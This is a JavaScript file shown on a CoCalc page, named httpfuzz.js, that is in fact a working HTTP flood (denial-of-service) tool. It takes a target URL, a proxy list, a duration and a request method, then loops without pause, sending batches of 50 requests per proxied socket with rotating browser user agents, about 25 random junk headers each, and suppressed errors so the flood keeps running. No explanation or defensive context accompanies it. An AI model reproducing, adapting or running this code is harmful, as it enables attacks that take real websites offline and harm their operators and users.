Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
kenne400k
GitHub Repository: kenne400k/22
Path: blob/main/httpfuzz.js
328 views
1
const EventEmitter = require('events');
2
const emitter = new EventEmitter();
3
emitter.setMaxListeners(Number.POSITIVE_INFINITY);
4
const fs = require('fs');
5
const url = require('url');
6
const net = require('net');
7
const randomstring = require('randomstring');
8
var target = process.argv[2];
9
const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n');
10
var theproxy = 0;
11
var parsed = url.parse(target);
12
var proxy = proxies[theproxy];
13
14
process.on('uncaughtException', (err) => {});
15
process.on('unhandledRejection', (err) => {});
16
17
const UAs = [
18
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36",
19
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247",
20
"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko",
21
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36",
22
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36",
23
"Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko",
24
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36",
25
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36",
26
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36",
27
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
28
];
29
30
setTimeout(() => {
31
process.exit(1);
32
}, process.argv[4] * 1000);
33
function Send()
34
{
35
theproxy++;
36
if (theproxy == proxies.length - 1) {
37
theproxy = 0;
38
}
39
proxy = proxies[theproxy];
40
if (proxy && proxy.length > 5) {
41
proxy = proxy.split(':');
42
} else {
43
return false;
44
}
45
var socket = new net.Socket();
46
socket.setTimeout(5000);
47
socket.connect(proxy[1], proxy[0], function() {
48
for (var i = 0; i < 50; i++) {
49
socket.write(`${process.argv[5]} ${target} HTTP/1.1\r\nHost: ${parsed.host}\r\nUser-Agent: ${UAs[Math.floor(Math.random() * UAs.length)]}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\n${randomstring.generate(7)}:${randomstring.generate(7)}\r\nAccept: */*\r\nAccept-Language: fr\r\nAccept-Encoding: *\r\nAccept-Charset: *\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n`);
50
}
51
});
52
53
socket.on('data', function() {
54
setTimeout(function() {
55
socket.destroy();
56
return delete socket;
57
}, 5000);
58
});
59
}
60
setInterval(() => { Send(); });
61